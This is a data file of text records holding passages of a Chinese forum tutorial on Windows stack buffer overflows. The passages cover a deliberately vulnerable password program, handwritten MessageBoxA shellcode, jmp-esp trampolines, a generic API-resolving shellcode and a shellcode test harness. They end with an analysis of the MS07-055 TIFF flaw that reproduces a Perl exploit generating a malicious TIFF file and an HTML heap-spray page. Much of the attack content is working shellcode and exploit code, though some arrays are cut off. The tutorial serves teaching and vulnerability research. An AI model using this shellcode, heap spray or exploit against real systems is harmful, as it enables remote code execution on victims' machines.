    {"text": "当然这些地址的确认方法有很多，我只给出一种解决方案，如果大家在实验的时候有什么心得，不妨在跟贴中拿出来和大家一起分享，一起进步。"},
    {"text": "开始前简单回顾上节的内容： password.txt 文件中的超长畸形密码读入内存后，会淹没verify_password函数的返回地址，将其改写为密码验证正确分支的指令地址 函数返回时，错误的返回到被修改的内存地址处取指执行，从而打印出密码正确字样 试想一下，如果我们把buffer[44]中填入一段可执行的机器指令（写在password.txt文件中即可），再把这个返回地址更改成buffer[44]的位置，那么函数返回时不就正好跳去buffer里取指执行了么——那里恰好布置着一段用心险恶的机器代码！"},
    {"text": "如上图所示，在本节实验中，我们准备向password.txt文件里植入二进制的机器码，并用这段机器码来调用windows的一个API函数MessageBoxA，最终在桌面上弹出一个消息框并显示“failwest”字样。"},
    {"text": "为了完成在栈区植入代码并执行，我们在上节的密码验证程序的基础上稍加修改，使用如下的实验代码： #include #include #define PASSWORD \"1234567\" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; FILE * fp; LoadLibrary(\"user32.dll\");//prepare for messagebox if(!(fp=fopen(\"password.txt\",\"rw+\"))) { exit(0); } fscanf(fp,\"%s\",password); valid_flag = verify_password(password); if(valid_flag) { printf(\"incorrect password!\\n\"); } else { printf(\"Congratulation! You have passed the verification!\\n\"); } fclose(fp); } 这段代码在底4讲中使用的代码的基础上修改了三处： 增加了头文件windows.h，以便程序能够顺利调用LoadLibrary函数去装载user32.dll verify_password函数的局部变量buffer由8字节增加到44字节，这样做是为了有足够的空间来“承载”我们植入的代码 main函数中增加了LoadLibrary(\"user32.dll\")用于初始化装载user32.dll，以便在植入代码中调用MessageBox 用VC6.0将上述代码编译（默认编译选项，编译成debug版本），得到有栈溢出的可执行文件。"},
    {"text": "我们准备在password.txt文件中植入二进制的机器码，在password.txt攻击成功时，密码验证程序应该执行植入的代码，并在桌面上弹出一个消息框显示“failwest”字样。"},
    {"text": "让我们在动手之前回顾一下我们需要完成的几项工作： 1：分析并调试漏洞程序，获得淹没返回地址的偏移——在password.txt的第几个字节填伪造的返回地址 2：获得buffer的起始地址，并将其写入password.txt的相应偏移处，用来冲刷返回地址——填什么值 3：向password.txt中写入可执行的机器代码，用来调用API弹出一个消息框——编写能够成功运行的机器代码（二进制级别的哦） 这三个步骤也是漏洞利用过程中最基本的三个问题——淹到哪里，淹成什么以及开发shellcode 首先来看淹到什么位置和把返回地址改成什么值的问题 本节验证程序里verify_password中的缓冲区为44个字节，按照前边实验中对栈结构的分析，我们不难得出栈帧中的状态如下图所示： 如果在password.txt中写入恰好44个字符，那么第45个隐藏的截断符null将冲掉authenticated低字节中的1，从而突破密码验证的限制。"},
    {"text": "buffer[44]共需要11个这样的单元 第12个输入单元将authenticated覆盖 第13个输入单元将前栈帧EBP值覆盖 第14个输入单元将返回地址覆盖 分析过后我们需要进行调试验证分析的正确性。"},
    {"text": "首先在password.txt中写入11组“4321”共44个字符： 如我们所料，authenticated被冲刷后程序将进入验证通过的分支： 用OllyDbg加载这个生成的PE文件进行动态调试，字符串拷贝函数过后的栈状态如图： 此时的栈区内存如下表所示 局部变量名 内存地址 偏移3处的值 偏移2处的值 偏移1处的值 偏移0处的值 buffer[0~3] 0x0012FAF0 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) …… （9个双字） 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) buffer[40~43] 0x0012FB18 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) authenticated （被覆盖前） 0x0012FB1C 0x00 0x00 0x00 0x31 (‘1’) authenticated （被覆盖后） 0x0012FB1C 0x00 0x00 0x00 0x00 (NULL) 前栈帧EBP 0x0012FB20 0x00 0x12 0xFF 0x80 返回地址 0x0012FB24 0x00 0x40 0x11 0x18 动态调试的结果证明了前边分析的正确性。"},
    {"text": "password.txt文件中第53到第56个字符的ASCII码值将写入栈帧中的返回地址，成为函数返回后执行的指令地址 也就是说将buffer的起始地址0x0012FAF0写入password.txt文件中的第53到第56个字节，在verify_password函数返回时会跳到我们输入的字串开始出取指执行。"},
    {"text": "MSDN对这个函数的解释如下： int MessageBox( HWND hWnd, // handle to owner window LPCTSTR lpText, // text in message box LPCTSTR lpCaption, // message box title UINT uType // message box style ); hWnd [in] 消息框所属窗口的句柄，如果为NULL的话，消息框则不属于任何窗口 lpText [in] 字符串指针，所指字符串会在消息框中显示 lpCaption [in] 字符串指针，所指字符串将成为消息框的标题 uType [in] 消息框的风格（单按钮，多按钮等），NULL代表默认风格 虽然只是调一个API，在高级语言中也就一行代码，但是要我们直接用二进制指令的形式写出来也并不是一件容易的事。"},
    {"text": "注意：熟悉MFC的程序员一定知道，其实系统中并不存在真正的MessagBox函数，对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数（ASCII）或者“W”类函数（UNICODE）调用。"},
    {"text": "用汇编语言调用MessageboxA需要三个步骤： 1.装载动态链接库user32.dll。 MessageBoxA是动态链接库user32.dll的导出函数。 虽然大多数有图形化操作界面的程序都已经装载了这个库，但是我们用来实验的consol版并没有默认加载它 2.在汇编语言中调用这个函数需要获得这个函数的入口地址 3 在调用前需要向栈中按从右向左的顺序压入MessageBoxA的四个参数。"},
    {"text": "当然，我肯定压如failwest啦，哈哈 对于第一个问题，为了让植入的机器代码更加简洁明了，我们在实验准备中构造漏洞程序的时候已经人工加载了user32.dll这个库，所以第一步操作不用在汇编语言中考虑。"},
    {"text": "对于第二个问题，我们准备直接调用这个API的入口地址，这个地址需要在您的实验机器上重新确定，因为user32.dll中导出函数的地址和操作系统版本和补丁号有关，您的地址和我的地址不一定一样。"},
    {"text": "这里简单解释下，MessageBoxA是user32.dll的一个导出函数，要确定它首先要知道user32.dll在虚拟内存中的装载地址（与操作系统版本有关），然后从这个基地址算起，找到MessageBoxA这个导出函数的偏移，两者相加，就是这个API的虚拟内存地址。"},
    {"text": "如上图示，user32.dll的基地址为0x77D40000，MessageBoxA的偏移地址为0x000404EA。 基地址加上偏移地址就得到了MessageBoxA在内存中的入口地址：0x77D804EA 有了这个入口地址，就可以编写进行函数调用的汇编代码了。"},
    {"text": "53 PUSH EBX 68 77 65 73 74 PUSH 74736577 68 66 61 69 6C PUSH 6C696166 8B C4 MOV EAX,ESP EAX里是字符串指针 53 PUSH EBX 四个参数按照从右向左的顺序入栈，分别为: (0,failwest,failwest,0) 消息框为默认风格，文本区和标题都是“failwest” 50 PUSH EAX 50 PUSH EAX 53 PUSH EBX B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。"},
    {"text": "由于这里仅仅用了11条指令和对应的26个字节的机器代码，如果您一定要现在就弄明白指令到机器码是如何对应的话，直接查阅Intel的指令集手工翻译也不是不可以。"},
    {"text": "将上述汇编指令对应的机器代码按照上一节介绍的方法以16进制形式逐字抄入password.txt，第53到56字节填入buffer的起址0x0012FAF0，其余的字节用0x90(nop指令)填充，如图： 换回文本模式可以看到这些机器代码所对应的字符： 这样构造了password.txt之后在运行验证程序，程序执行的流程将按下图所示： 程序运行情况如图： 成功的弹出了我们植入的代码！"},
    {"text": "最后总结一下本节实验的几个要点： 确认函数返回地址与buffer数组的距离——淹哪里 确认buffer数组的内存地址——把返回地址淹成什么（需要调试确定，与机器有关） 编制调用消息框的二进制代码，关键是确定MessageBoxA的虚拟内存地址（与机器有关） 我实验用的PE和password.txt在这里： 想要PE的请点这里：stack_overflow_exec.rar. 想要Passwrd.txt的请点这里：password.txt. 这节课的题目是麻雀虽小，五脏俱全。"},
    {"text": "Word在解析doc文档时，不知有多少个内存复制和操作的函数调用，如果哪一个有溢出漏洞，那么office读入一个畸形的word文档时，会不会弹出个消息框，开个后门，起个木马啥的？ IIS和APACHE在解析WEB请求的时候，也不知道有多少内存复制操作，如果存在溢出漏洞，那么攻击者发送一个畸形的WEB请求，会不会导致server做出点奇怪的事情？"},
    {"text": "在本节最后，我给出一个课后作业和几个思考题——因为下一讲可能会稍微隔几天，大家不妨自己动手练习练习，记住光听课是没有的，动手非常重要！"},
    {"text": "课后作业：如果您细心的话，在点击上面的ok按钮之后，程序会崩溃： 这是因为MessageBoxA调用的代码执行完成之后，我们没有写安全退出的代码的缘故。"},
    {"text": "大家都知道，程序运行中，栈的位置是动态变化的，也就是说buffer的内存地址可能每次都不一样，在真实的漏洞利用中，尤其是遇到多线程的程序，每次的缓冲区位置都是不同的。 那么我们怎么保证在函数返回时总能够准确的跳回buffer，找到植入的代码呢? 比较通用的定位植入代码（shellcode）的方法我会在后面的讲座中系统介绍，这里先提一下，大家可以思考思考 2：我也反复强调，API的地址需要自己确定，不同环境会有不同。"},
    {"text": "第6讲 shellcode初级_定位缓冲区 精勤求学，敦笃励志 跟贴中看到已经有不少朋友成功的完成了前面的所有例题，今天我们在前面的基础上，继续深入。"},
    {"text": "每一讲我都会引入一些新的知识和技术，但只有一点点，因为我希望在您读完贴之后就能立刻消化吸收，这是标准的循序渐进的案例式学习方法 另外在今天开始之前，我顺便说一下后面的教学计划： 我会再用3～4次的讲座来阐述shellcode技术，确保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用程序（exploit） 之后我会安排一次“期中考试”，呵呵，时间初步定在元旦的三天假期内。"},
    {"text": "“优秀答卷”会有奖励，这个我和看雪正在筹划之中，不过提前告诉大家，至少我的书《0day安全：软件漏洞分析与利用》和看雪的《加密与解密第3版》是少不了的，至于有没有新的赞助和奖品，请大家留意最近论坛上的通知吧。"},
    {"text": "好了，在开始今天课程之前，先回忆下第5讲在结束时，我提出的windows平台下的几个关键问题： 1：缓冲区距离返回地址间的距离确定，或者说缓冲区大小的确定。"},
    {"text": "要想在淹没返回地址后准确的返回到shellcode上，像第5讲那样直接在调试中查出来写死在password.txt文件中肯定不行 3：定位需要的API。 在shellcode中一般要完绑定端口建立socket侦听等功能，需要调用一系列windowsAPI。"},
    {"text": "当限制较少时，编写shellcode还可以通过选用特殊指令来避免这些值，但有时会限制比较苛刻，这将对shellcode的开发带来很大困难——用汇编写程序本来就够难了，还要考虑指令对应的机器码的值 5：shellcode的大小也很重要。"},
    {"text": "在实际的漏洞利用过程中，由于动态链接库的装入和卸载等原因，windows进程的函数栈帧很有可能会产生“移位”，即shellcode在内存中的地址是会动态变化的，因此像第5讲中那样将返回地址简单地覆盖成一个定值的作法往往不能让exploit奏效。 因此，要想使exploit不致于10次中只有2次能成功地运行shellcode，我们必须想出一种方法能够在程序运行时动态定位栈中的shellcode。 回顾第5讲中实验在verify_password函数返回后栈中的情况： 绿色的线条体现了代码植入的流程：将返回地址淹没为我们手工查出的shellcode起始地址0x0012FAF0，函数返回时这个地址被弹入EIP寄存器，处理器按照EIP寄存器中的地址取指令，最后栈中的数据被处理器当成指令得以执行。"},
    {"text": "函数返回时，ESP所指的位置恰好是我们所淹没的返回地址的下一个位置。 注意：函数返回时ESP所指位置与函数调用约定、返回指令等有关。 如retn 3与retn 4在返回后，ESP所指的位置都会有所差异。"},
    {"text": "由于ESP寄存器在函数返回后不被溢出数据干扰，且始终指向返回地址之后的位置，我们可以使用上图所示的这种定位shellcode的方法来进行动态定位： 用内存中任意一个jmp esp指令的地址覆盖函数返回地址，而不是原来用手工查出的shellcode起始地址直接覆盖 函数返回后被重定向去执行内存中的这条jmp esp指令，而不是直接开始执行shellcode 由于esp在函数返回时仍指向栈区（函数返回地址之后），jmp esp指令被执行后，处理器会到栈区函数返回地址之后的地方取指令执行。"},
    {"text": "这样jmp esp指令执行过后会恰好跳进shellcode。 这种定位shellcode的方法使用进程空间里一条jmp esp指令做“跳板”，不论栈帧怎么“移位”，都能够精确的跳回栈区，从而适应程序运行中shellcode内存地址的动态变化。"},
    {"text": "这是我的程序 #include #include #define DLL_NAME \"user32.dll\" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(\" load dll erro !\"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf(\"OPCODE found at 0x%x\\n\",address); } } catch(...) { int address = (int)ptr + position; printf(\"END OF 0x%x\\n\", address); done_flag = true; } } } mp esp对应的机器码是0xFFE4，上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4，如果找到就返回其内存地址（指针值）。"},
    {"text": "或者使用其他类型的跳转地址如call esp，jmp ebp等的话，也可以通过对上述程序稍加修改而轻易获得。 除此以外，还可以通过OllyDbg的插件轻易的获得整个进程空间中的各类跳转地址。"},
    {"text": "这里给出这个插件，点击下载插件OllyUni.dll：OllyUni.rar. 把它放在OllyDbg目录下的Plugins文件夹内，重新启动OllyDbg进行调试，在代码框内单击右键，就可以使用这个插件了，如图： 搜索结束后，点击OllyDbg中的“L”快捷按钮，就可以在日志窗口中查看搜索结果了。 运行我们自己编写程序搜索跳转地址得到的结果和OllyDbg插件搜到的结果基本相同，如图： 注意：跳转指令的地址将直接关系到exploit的通用性。"},
    {"text": "这里不妨采用位于内存0x77DC14CC处的跳转地址jmp esp作为定位shellcode的“跳板”————我并不保证这个地址通用，请你在自己的机器上重新搜索。"},
    {"text": "有几种思路，可以恢复堆栈和寄存器之后，返回到原来的程序流程，这里我用个简单点的偷懒的办法，在调用MessageBox之后通过调用exit函数让程序干净利落的退出。"},
    {"text": "如图，ExitProcess是kernel32.dll的导出函数，故首先查出kernel32.dll的加载基址：0x7C800000，然后加上函数的偏移地址：0x0001CDDA，得到函数入口最终的内存地址0x7C81CDDA。"},
    {"text": "写出的shellcode的源代码如下： #include int main() { HINSTANCE LibHandle; char dllbuf[11] = \"user32.dll\"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp,0x440 xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6C696166//push failwest mov eax,esp //load address of failwest push ebx push eax push eax push ebx mov eax,0x77D804EA // address should be reset in different OS call eax //call MessageboxA push ebx mov eax,0x7C81CDDA call eax //call exit(0) } } 为了提取出汇编代码对应的机器码，我们将上述代码用VC6.0编译运行通过后，再用OllyDbg加载可执行文件，选中所需的代码后可直接将其dump到文件中： TIPS：不如直接在汇编码中加一个__asm int3，OD启动后会自动停在shellcode之前。"},
    {"text": "现在我们已经具备了制作新exploit需要的所有信息： 搜索到的jmp esp地址，用作重定位shellcode的“跳板”：0x77DC14CC 修改后并重新提取得到的shellcode： 机器代码（16进制） 汇编指令 注释 33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。"},
    {"text": "53 PUSH EBX 68 77 65 73 74 PUSH 74736577 68 66 61 69 6C PUSH 6C696166 8B C4 MOV EAX,ESP EAX里是字符串指针 53 PUSH EBX 四个参数按照从右向左的顺序入栈，分别为: (0,failwest,failwest,0) 消息框为默认风格，文本区和标题都是“failwest” 50 PUSH EAX 50 PUSH EAX 53 PUSH EBX B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。 注意不同的机器这 里的函数入口地址可能不同，请按实际值填入! FF D0 CALL EAX 53 PUSH EBX 调用exit(0)。 注意不同的机器这里的函数入口地址可 能不同，请按实际值填入! B8 DA CD 81 7C MOV EAX, 0x7C81CD FF D0 CALL EAX 按照第5讲中对栈内情况的分析，我们将password.txt制作成如下形式： 现在再运行密码验证程序，怎么样，程序退出的时候不会报内存错误了吧。"},
    {"text": "虽然还是同样的消息框，但是这次植入代码的流程和第5讲中已有很大不同了，最核心的地方就是使用了跳转地址定位shellcode，进程被劫持的过程正如图3中我们设计的那样。"},
    {"text": "第7章 案例 To be the apostrophe which changed “Impossible” into “I’m possible” —— failwest 溢出了的缓冲区，找不到来时的路…… 通过一周多的基础教学，相信学完前面6讲的朋友们已经初步掌握了缓冲区溢出的最基本原理，我称之为初级+出门。 我们仍然缺少的关于栈溢出的基础知识包括： 1.如何灵活的选取跳转指令（跳板） 2.如何灵活的布置缓冲区，把shellcode摆放在恰当的位置 3.如何在shellcode中动态定位windows API。 4.如何利用淹没S.E.H劫持进程，植入shellcode 5.如何恢复寄存器内容，在溢出后仍然找到“回头路”， …… 这些知识在《0day安全：软件漏洞分析与利用》中都有和先前的教程一样详细而又通俗的论述。然而迫于《0day》即将上架的商业因素的压力，我没有办法继续在教程中公布样章了——因为算下来400来页的书已经被我贴出来了60多页了，再贴就没有出版社愿意替我印了：） 在教程的跟贴之中看到许多朋友们遇到困难，提出问题，最终解决问题——不禁让我回想起自己当年自己钻研时的情景。本着对教学负责的态度，在本节我给出一个能够自己动态定位API的shellcode。 char popup_general[]= \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"\\x8B\\xF4\\x8D\\x7E\\xF4\\x33\\xDB\\xB7\\x04\\x2B\\xE3\\x66\\xBB\\x33\\x32\\x53\" \"\\x68\\x75\\x73\\x65\\x72\\x54\\x33\\xD2\\x64\\x8B\\x5A\\x30\\x8B\\x4B\\x0C\\x8B\" \"\\x49\\x1C\\x8B\\x09\\x8B\\x69\\x08\\xAD\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\x05\\x95\" \"\\xFF\\x57\\xF8\\x95\\x60\\x8B\\x45\\x3C\\x8B\\x4C\\x05\\x78\\x03\\xCD\\x8B\\x59\" \"\\x20\\x03\\xDD\\x33\\xFF\\x47\\x8B\\x34\\xBB\\x03\\xF5\\x99\\x0F\\xBE\\x06\\x3A\" \"\\xC4\\x74\\x08\\xC1\\xCA\\x07\\x03\\xD0\\x46\\xEB\\xF1\\x3B\\x54\\x24\\x1C\\x75\" \"\\xE4\\x8B\\x59\\x24\\x03\\xDD\\x66\\x8B\\x3C\\x7B\\x8B\\x59\\x1C\\x03\\xDD\\x03\" \"\\x2C\\xBB\\x95\\x5F\\xAB\\x57\\x61\\x3D\\x6A\\x0A\\x38\\x1E\\x75\\xA9\\x33\\xDB\" \"\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\"; 上面这段机器码的作用仍然是弹出一个消息框显示“failwest”。用的方法大概如下：通过FS[0]定位TEB，通过TEB找到PEB，进而找到PE的导入导出表，再定位kerner32.dll的位置，顺藤摸瓜定位到LoadLibraryA，之后就是康庄大道了 …… 关于这段shellcode的细节分析么，呵呵，参看《0day安全》吧。我要说的是我在开发并调试这段shellcode的时候，总共用了5天时间（我的汇编基础比较差），之后在各种漏洞场景下实验并改进，最终得出的这段168字节的代码是比较通用和稳定的，我经常用它作为验证漏洞是否可以被exploit的POC （proof of concept）代码。 由于shellcode往往是在很“恶劣”的环境下被加载的，要想调试这些机器码得动动脑筋才行。我这里给出一个测试和调试shellcode的样例代码： char shellcode[]=\"\\x66\\x81\\xEC\\x40\\x04\\x33\\xDB……\"; // 欲调试的16进制机器码\" void main() { unsigned char MachineCode[256]=\"\"; strncpy(MachineCode, shellcode,256); __asm { lea eax, MachineCode push eax ret } } 上述代码可以简单的模拟漏洞场景并加载运行shellcode。 好了，虽然现在大家对shellcode的具体开发方法还并不是非常清楚，但是我已经给出了一个比较通用的现成货，而且教给你了调试方法，你完全可以从网上搜点各种功能的shellcode来试试。（实际上我将使用MetaSploit生成各种常见功能的shellcode，甚至对shellcode加个简单的“壳”，自然这部分内容得参见《0day》了） 所以，从技术角度，您已经具备了独立完成溢出利用的最基本技能。 书中的样章不能贴了，但是我们的教学还会继续。今天我要贴出一篇我一年半以前写的漏洞案例分析文章。这篇文章曾经在《黑客防线》上登出过，网上有不少转载，但我个人从未在网络上公布过。 虽然转载者基本上从来不会著名文章的出处和作者，但我身上那种与生俱来的程序员的劣根性，总是让我把代码中的变量尽可能多的命名为与failwest相关的东东，也正是这种劣根性，您可以方便的通过failwest搜出这些文章：） 今天在看雪上是我第一次正式在网络上公布这篇文章，并且是连同所有附带资料一起放送。 这是一个典型的栈溢出漏洞，攻击者通过发送畸形的数据包，可以溢出操作系统中的服务进程，进而远程控制服务器——这也是最标准，最典型，最真实的入侵过程。 在学习这篇文章的时候，希望大家使用Vmware，自制一个存在漏洞的windows2000操作系统（1年前发布的真实漏洞）。 在后面的教程中，我还会邀请一些在漏洞分析方面很有造诣的朋友来贡献一些案例分析文章。*转载请注明来自看雪论坛@PEdiy.com 附件： http://bbs.pediy.com/showthread.php?t=56963"},
    {"text": "第8章 Microsoft TIFF图像文件处理栈溢出漏洞（MS07-055） 张东辉[shineast][http://hi.baidu.com/shineastdh] 漏洞背景 TIFF（TagImageFileformat）是Mac中广泛使用的图像格式，它由Aldus和微软联合开发，最初是出于跨平台存储扫描图像的需要而设计的。"},
    {"text": "2007年10月9日，微软的网站上公示了“Microsoft 安全公告 MS07-055 - 严重 Kodak 图像查看器中的漏洞可能允许远程执行代码 (923810)”这个安全公告，并提供了该漏洞的补丁程序。"},
    {"text": "漏洞重现与漏洞分析 要分析这个漏洞，一定要能够重现这个漏洞，然后通过跟踪和调试来分析它。 如果你的WindowsXP系统不是从Windows2000升级过来的，最好先安装一个虚拟机，虚拟一个Win2K操作系统，然后在这个系统下做漏洞重现。"},
    {"text": "我在VMware中安装的是Win2K SP3，当然SP4也可以，只要是2K系统都可以，因为这个漏洞是新出的。 如果你的2K系统已经对这个漏洞（MS07-055）打了漏洞补丁（KB923810），你可以先把漏洞补丁在“添加删除程序”中卸载掉，做完实验后可以在安装上。"},
    {"text": "Milw0rm上关于这个漏洞公布了2个exploit，我分析了一下，这两个exploit利用的漏洞是同一个，就是我们现在要分析的tiff文件格式处理漏洞，但是它们的利用方式不同，一个是直接在explorer下就溢出，也就是说当你用explorer打开了畸形tiff文件所在的目录时，漏洞就已经使explorer溢出了； 另一个是可以用来做网络木马，也就是说，当你打开了远程web服务器上的某个网页时，而网页恰好打开了那个畸形tiff文件，那个就会在你本地发生IE栈溢出，从而执行任意代码，即shellocde。"},
    {"text": "下面我们首先来看看这个exploit是如何写成的： #!/usr/bin/perl # Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055) # This exploit tested on: # - Windows 2000 SP4 + IE5.01 # - Windows 2000 SP4 + IE5.5 # - Windows 2000 SP4 + IE6.0 SP1 # invokes calc.exe if successful use strict; # run calc.exe my $shellcode = \"\\xfc\\xe8\\x44\\x00\\x00\\x00\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\". \"\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\". \"\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x04\". \"\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\". \"\\x8b\\x1c\\x8b\\x01\\xeb\\x89\\x5c\\x24\\x04\\xc3\\x31\\xc0\\x64\\x8b\\x40\\x30\". \"\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\xeb\\x09\". \"\\x8b\\x80\\xb0\\x00\\x00\\x00\\x8b\\x68\\x3c\\x5f\\x31\\xf6\\x60\\x56\\x89\\xf8\". \"\\x83\\xc0\\x7b\\x50\\x68\\x7e\\xd8\\xe2\\x73\\x68\\x98\\xfe\\x8a\\x0e\\x57\\xff\". \"\\xe7\\x63\\x61\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00\"; my $tiff1 = \"\\x49\\x49\\x2A\\x00\\x90\\x3E\\x00\\x00\\x80\\x3F\\xE0\\x50\". \"\\x38\\x24\\x16\\x0D\\x07\\x84\\x42\\x61\\x50\\xB8\\x64\\x36\". \"\\x1D\\x0F\\x88\\x44\\x62\\x51\\x38\\xA4\\x56\\x2D\\x17\\x8C\". \"\\x46\\x63\\x51\\xB8\\xE4\\x76\\x3D\\x1F\\x90\\x48\\x64\\x52\". \"\\x39\\x24\\x96\\x4D\\x27\\x94\\x4A\\x65\\x52\\xB9\\x64\\xB6\". 。"},
    {"text": "\"\\x56\\xAD\\x57\\x86\\x40\\x40\\x60\\x00\\x00\\x00\\x01\\x00\". \"\\x00\\x00\\x60\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x00\". \"\\x08\\x00\\x08\\x00\\xAE\\x00\\x00\\x00\\xAE\\x00\\x00\\x00\". \"\\xAE\\x00\\x00\\x00\\xAE\\x00\\x00\\x00\\xAE\\x00\\x00\\x00\". \"\\xAE\\x00\\x00\\x00\\xB4\\x00\\x00\\x00\\xBA\\x00\\x00\\x00\". \"\\xBA\\x00\\x03\\x00\\xCA\\x00\\x00\\x00\\xDB\\x00\\x00\\x00\". \"\\xD7\\x00\\x00\\x00\\xD6\\x00\"; my $eip = \"\\x0c\\x0c\\x0c\\x0c\"; my $data_0400 = \"\\x08\\x00\\x40\\x00\"; my $data_null = \"\\x11\\x00\\x40\\x00\"; my $tiff2 = \"\\x00\\x00\\xB9\\x90\\x90\\x90\\x90\\x90\\xFC\\xE8\". \"\\x44\\x00\\x00\\x00\\x8B\\x45\\x3C\\x8B\\x7C\\x05\\x78\\x01\". \"\\xEF\\x8B\\x4F\\x18\\x8B\\x5F\\x20\\x01\\xEB\\x49\\x8B\\x34\". \"\\x8B\\x01\\xEE\\x31\\xC0\\x99\\xAC\\x84\\xC0\\x74\\x07\\xC1\". \"\\xCA\\x0D\\x01\\xC2\\xEB\\xF4\\x3B\\x54\\x24\\x04\\x75\\xE5\". 。"},
    {"text": "\"\\xB6\\x3A\\x00\\x00\\x64\\x3B\\x00\\x00\\x0F\\x00\\xFE\\x00\". \"\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x80\\x02\\x00\\x00\\x01\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x02\\x01\". \"\\x03\\x00\\xFF\\x00\\x00\\x00\\xDA\\x3B\\x00\\x00\\x03\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x06\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x11\\x01\". \"\\x04\\x00\\x56\\x00\\x00\\x00\\x38\\x3D\\x00\\x00\\x15\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x16\\x01\". \"\\x04\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x17\\x01\". \"\\x04\\x00\\x56\\x00\\x00\\x00\\xE0\\x3B\\x00\\x00\\x1A\\x01\". \"\\x05\\x00\\x01\\x00\\x00\\x00\\xCA\\x3B\\x00\\x00\\x1B\\x01\". \"\\x05\\x00\\x01\\x00\\x00\\x00\\xD2\\x3B\\x00\\x00\\x1C\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x28\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x3D\\x01\". \"\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\". \"\\x00\\x00\"; # convert shellcode for javascript if ((length($shellcode) / 2) =~ /\\./) { $shellcode .= \"\\x00\"; } $shellcode =~ s/(.)(.)/'%u'.unpack(\"H*\", $2).unpack(\"H*\", $1)/ge; # write tiff file open(FILE, \">ms07-055.tif\"); binmode(FILE); print FILE $tiff1; print FILE $eip; print FILE $data_0400; print FILE $data_0400; print FILE $data_0400; print FILE $data_null; print FILE $tiff2; close(FILE); # write html file open(FILE, \">ms07-055.html\"); print FILE <<HTML; <html><head> <title>Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title> <script language=\"JavaScript\"> <!-- var memory = new Array(); function getSpraySlide(spraySlide, spraySlideSize){ while (spraySlide.length*2<spraySlideSize){ spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } function makeSlide(){ var heapSprayToAddress = 0x0c0c0c0c; var payLoadCode = unescape(\"$shellcode\"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape(\"%u0c0c%u0c0c\"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } return 0; } makeSlide();//--> </script> </head> <body><img src=\"ms07-055.tif\"></body></html> HTML close(FILE); 看了这段perl程序，大概知道是怎么回事了，其实就是用这段perl程序写了两个文件，一个是特制的、畸形的tiff文件，命名为“ms07-055.tif”；"},
    {"text": "其中HTML文件很明白，这个网页用来打开前面那个tiff文件，打开之前还在0c0c0c0c内存地址附近请求了连续的若干内存块，每个内存块中存放的是一片片0c0c0c0c指令，最后跟着的是shellcode。"},
    {"text": "理解了如何利用，现在我们的关键就是需要掌握一些tiff图像文件格式规范，不需要很专业的掌握，只要对这种文件格式的基础知识有所了解就足够我们分析漏洞了。"},
    {"text": "一个完整的tiff文件首先有8字节的头部（header），头部中含有一个指针指向一个图像文件目录，简称IFD（image file directory），每个IFD包含了重要的图像信息，这些信息是一条一条的存储在IFD中的，称为目录条目，简称DE（directory entry）。"},
